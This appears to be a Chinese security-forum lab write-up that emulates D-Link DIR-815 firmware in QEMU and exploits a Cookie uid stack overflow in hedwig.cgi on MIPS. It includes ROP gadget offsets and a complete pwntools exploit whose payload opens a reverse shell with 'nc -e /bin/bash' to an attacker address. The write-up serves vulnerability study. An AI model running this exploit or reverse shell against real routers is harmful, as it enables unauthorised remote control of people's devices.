DIR-815 cgibi中hedwig_cgi函数中处理HTTP 头中 Cookie 字段中 uid 的值时存在栈溢出漏洞。本文对于IOT固件模拟进行了详细的操作指导,包括我在实验过程中遇到的一些苦难和解决方式,另外主要对于mips架构下栈溢出漏洞的利用姿势、rop链的构造、跨架构下动态调试方式等进行了详细的解释和操作指导。
0x00 前言
固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
漏洞描述:
DIR-815 cgibi中hedwig_cgi函数中处理HTTP 头中 Cookie 字段中 uid 的值时存在栈溢出漏洞
本文对于IOT固件模拟进行了详细的操作指导,包括我在实验过程中遇到的一些苦难和解决方式,另外主要对于mips架构下栈溢出漏洞的利用姿势、rop链的构造、跨架构下动态调试方式等进行了详细的解释和操作指导。
0x01 binwalk解包
直接binwalk解包会发现出现错误,rootfs下为空,而且squash文件不能解包。安装sasquatch之后就可以结局这个问题。
binwalk解包如下:
0x02 系统级固件模拟
系统级固件仿真
尝试进行固件模拟,分为用户模拟和系统模拟,但是在用户仿真情况下,不能正常执行shellcode相关功能,因此还是利用系统仿真。
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian\_squeeze\_mipsel\_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
遇到一点问题:
解决方式:
使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:
因为是小端,这里直接选择mipsel,然后下载其中两个文件:
下载对应的文件之后成功起来,这是一个与固件对应的虚拟环境,小端的mips系统,其内核镜像和文件系统都是mips架构的虚拟linux系统,我先将其搭建运行环境,然后上传固件binwalk出来的文件系统,根据所需要运行的服务,去选择程序、动态链接库、配置文件构造等等去启动一个服务进行测试。
网络配置
在主机中进行网络配置,可以写在一个sh文件中自动执行:
sudo sysctl -w net.ipv4.ip\_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
在虚拟机中进行网络配置,下面的eth1可能需要修改为eth0:
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
配置完成的效果;
虚拟机与主机之间可以相互ping通:
为了方便调试,关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize\_va\_space
配置并启动服务
上传路由器文件系统:
scp -r squashfs-root/ root@192.168.100.2:~/
系统仿真时,需要模拟启动hedwig.cgi相关服务,模拟其相关服务时需要配置好conf文件:(放在squash根目录下)
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { \* }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #网卡
Address 192.168.100.2 #qemu的ip地址
Port "4321" #对应web访问端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router\_info.xml }
/usr/sbin/phpcgi { post\_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
文件系统的位置:
然后利用如下脚本在qemu中启动httpd服务:(在根目录下运行)
#!/bin/bash
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc\_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc\_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf
然后访问hedwigh.cgi,会出现如下的界面。
运行hedwig.cgi,出现没有request问题
这是因为没有配置REQUEST_METHOD等方法,这里通过环境变量进行设置:
export CONTENT\_LENGTH="100"
export CONTENT\_TYPE="application/x-www-form-urlencoded"
export REQUEST\_METHOD="POST"
export REQUEST\_URI="/hedwig.cgi"
export HTTP\_COOKIE="uid=1234"
再次运行错误解决:
0x03 漏洞静态分析:
官方漏洞报告中所说的hedwig.cgi文件,其路径为/htdocs/web/hedwig.cgi,通过ls -l命令看一下,发现其链接到cgibin文件中,首先静态分析漏洞点,漏洞存在于cgibin文件的hedwigci_main函数中。
静态分析cgibin文件,这里由于低版本的ida对于mips架构程序的逆向分析情况不是很好,所以为了更好的逆向,这里最好下载一个Ghidra。先进入main函数中,主函数主要执行了一个框架的功能,根据_s参数的不同,通过对比调用不同的函数。
进入逐个分析后在hedwigci_main中发现了端倪,进如hedwigci_main函数,其中__s1获取了Request Method,后面进行了限制只能是通过post的方式请求,
接着,会走到cgibin_parse_request函数,这个函数的功能就是分析请求数据包,对CONTENT_TYPE、CONTENT_Length、URL等信息进行解析分析。简单看了一下不存在漏洞点。
然后程序会执行到如下的代码处,也就是溢出漏洞所在的地方,sess_get_uid函数传入参数为iVar5(地址),然后在sess_get_uid函数中一定会将uid内容传入iVar5中,然后通过sobj_get_string函数将iVar5验证之后给函数sprintf,如果我们可以通过sess_get_uid函数精致iVar5参数的值,那么就会造成栈溢出漏洞。
sess_get_uid内参数命名为param_1,根据其伪代码中param_1的赋值去溯源观察能否控制其赋值。
先整体分析其代码,首先是获取HTTP_COOKIE的值,简单验证取到了之后进入一个循环,这里逆向分析的不是很明确,这个循环是通过一个flag标志变量uVar6和LAB跳转实现的。
最初定义uVar6为0,会进入如下的代码部分执行,
然后跳转到00407db0的地方,这里判断cookie当下的字符是否为0x3b(;),如果是,则定义uVar6为零,表示cookie处理结束。然后判断是否到0x3d(=),uVar6定义为1,表示进入循环逐个读取,并也就是将=前的部分逐个添加到iVar1。
逐个循环直到判断到当前字符为=时,将uVar6定义为2,然后执行到下面部分将uVar6定义为3,并会跳到407e24的地方执行,会跳过=这个字符执行40728,然后因为uVar6 == 3,所以还是会执行到下图代码中,将=前面的内容和DAT_0041a5d8('uid')进行对比,如果通过验证之后执行到00407e40。
然后逐个执行00470e40和00407e48两段代码获取uid=后面的内容,然后赋值param_1。
通过上述的分析,sess_get_uid函数就是http请求中cookie字段中uid=后的值进行了提取,然后通过sobj_get_string进行简单检测之后给sprintf,由于cookie字段可控,所以可以构造payload造成缓冲区溢出。
sobj_get_string函数只要保证uid后的内容不空可以被上述过程解析出来,并且其0x14位不为0即可。
0x04 动态调试
查看其安全防护情况,开启了nx保护,主要的应用思路为利用上述所讲的栈溢出漏洞,通过构造rop链构造相应参数并且执行system命令,以达到攻击效果:
配置mips小端架构下的动态调试环境,(提示这里的GDBserver和GDB需要交叉编译得到,怎么交叉编译以及具体怎么配置调试环境看我另一篇文章),主机中的DGB也需要进行交叉编译,得到mipsel-linux-gdb(也在另一篇文章中提及),然后运行可执行程序。或者不交叉编译,而是安装gdb-multiarch跨架构执行,推荐用这种方法,因为方便使用pwndbg插件。gdb-multiarch安装指导链接:https://www.cnblogs.com/LY613313/p/16180128.html。以下的动态调试中两种方法我都尝试了一下。
确定偏移
PWNtools—cyclic计算偏移量(gdb+gdb-multiarch+pwndbg+gdbserver)
首先生成一个2000长度的乱序字符串,复制下来之后粘贴到如下的调试脚本中,XXXXXXXXXXXXXXXXX的位置就是cyclic2000生成的乱序字符串。
pwndbg> cyclic 2000
#!/bin/bash
export CONTENT\_TYPE="application/x-www-form-urlencoded"
export HTTP\_COOKIE=$(python -c "print 'uid=' + 'XXXXXXXXXXXXXXXXXXXX'")
#export HTTP\_COOKIE="uid=\`cat context\`"
export CONTENT\_LENGTH=$(echo -n "$HTTP\_COOKIE" | wc -c)
export REQUEST\_METHOD="POST"
export REQUEST\_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
#echo "uid=4321"|/htdocs/web/hedwig.cgi
不下断点,gdb调试运行后报错:Invalid address 0x646b6161
然后利用cyclic工具,输入cyclic -l + Invalid address,可以获得一个溢出的偏移,但是这个偏移可能不是很准确,所以还需要再次的验证。
接下来就是动态调试验证偏移是否为1009,利用gdbserver调试,脚本如下(这里是用的mipsel-linux-gdb+gdbserver):
#!/bin/bash
export CONTENT\_TYPE="application/x-www-form-urlencoded"
export HTTP\_COOKIE=$(python -c "print 'uid=' + 'A'\*1009 + 'BBBB'")
#export HTTP\_COOKIE="uid=\`cat context\`"
export CONTENT\_LENGTH=$(echo -n "$HTTP\_COOKIE" | wc -c)
export REQUEST\_METHOD="POST"
export REQUEST\_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
#echo "uid=4321"|/htdocs/web/hedwig.cgi
由于虚拟机的结构为mips架构,则需要通过交叉编译的方式进行gdbserver的交叉编译,然后传入虚拟机中执行,然后在ubuntu主机中进行远程的GDB连接。
这里下两个断点,一个根据存在漏洞的函数名称下断点,一个下在这个函数的末尾。
然后断在函数末尾时会报错,说没有调到0x42424242的位置,所以说0x42424242(BBBB)已经替换了返回位置,验证了偏移为1009。
构造rop链
核心目的就是劫持返回地址,执行system( )函数。为了避免cache incoherency机制,我们利用system函数来构造ROP链进行shell的反弹,而不直接布置shellcode。首先要确定可以调用system函数的libc,利用vmmap查看各区段:
有/lib/libc.so.0,查看libc.so.0链接的libc文件,
ls -l libc.so.0
lrwxrwxrwx 1 test test 21 Aug 18 20:47 libc.so.0 -> libuClibc-0.9.30.1.so
接下来重点分析:
根据ida搜索libuClibc-0.9.30.1.so中的system函数可以得到system的地址为0x00053200,然后通过pwndbg的codebase工具可以得到程序运行的基地址0x77f34000,由于已经关闭了地址随机化,所以该地址可以在调试中多次使用。
因为需要构造类似system(cmd)的执行,由于基地址为0x77f34000,system地址为0x00053200,两者相加会出现00造成截断,为了利用可以先将system-1,避免截断的问题,然后通过找gadgets中类似addiu $s0,1命令将system地址恢复。利用mipsrop.find(“addiu $s0,1”)找到gadgets1:0x158c8。
根据上述代码会将system的地址加1,然后跳转到$s5所在的地址,需要将system-1的地址给$s0,然后garget2的地址赋值给$s5。
其中所有给s0-s7寄存器的赋值是通过栈溢出时payload的布局利用如下代码实现的(hedwigci_main函数返回前的一段指令):
那么需要找到给system传参数以及跳转执行的gadgets,利用mipsrop.stackfinder可以找到0x159cc所在的指令gadgets2,这部分指令可以实现将栈上的cmd命令所在的地址赋给$s5,然后jalr跳转到$s0所在的地址执行,由于mips的流水线并行执行会同时会执行jalr下一句move $a0,$s5,$a0为函数调用的参数寄存器,这就在跳转的同时并行完成的给system传参的工作,对这一部分存疑的可以看一下参考链接中关于mips流水线的文章。
通过下图调试,可以知道上面的addiu $s5,$sp,0x170+var_160中传给$s5的位置是在栈返回地址上面0x10个字节处。所以在payload中在覆盖完返回地址之后需要隔0x10个字节再去放置cmd命令。
根据偏移为1009,最终可以得到exp如下:
\*#!/usr/bin/python2\*
from pwn import \*
context.endian = "little"
context.arch = "mips"
base\_addr = 0x77f34000
system\_addr\_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999'
padding = 'A' \* 973
padding += p32(base\_addr + system\_addr\_1) \*# s0\*
padding += 'A' \* 4 \*# s1\*
padding += 'A' \* 4 \*# s2\*
padding += 'A' \* 4 \*# s3\*
padding += 'A' \* 4 \*# s4\*
padding += p32(base\_addr+gadget2) \*# s5\*
padding += 'A' \* 4 \*# s6\*
padding += 'A' \* 4 \*# s7\*
padding += 'A' \* 4 \*# fp\*
padding += p32(base\_addr + gadget1) \*# ra\*
padding += 'B' \* 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()
将上述exp运行后得到context,上传之后防止squash-root主目录,运行exp.sh脚本运行,启动hedwig.cgi服务,脚本如下:
!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
#export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
#echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
echo "uid=4321"|/htdocs/web/hedwig.cgi
攻击端监听,得到如下结果:
EXP运行时动态调试栈空间:
0x05 参考连接
几种固件仿真方式:https://cloud.tencent.com/developer/article/1883281
Ghidra下载安装以及快捷键使用:https://www.cnblogs.com/iBinary/p/13852204.html
mips下栈溢出相关知识点:https://xz.aliyun.com/t/6808
固件模拟与复现:http://www.ctfiot.com/20823.html、http://www.ctfiot.com/41773.html
mips架构汇编指令学习:https://blog.csdn.net/peachhhh/article/details/114376694
gdb-multiarch安装指导链接:https://www.cnblogs.com/LY613313/p/16180128.html
mips流水线与指令集并行处理:https://www.bilibili.com/read/cv14585357、https://www.bilibili.com/read/cv14595039/
- 本文作者: 用户180910387
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1870
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!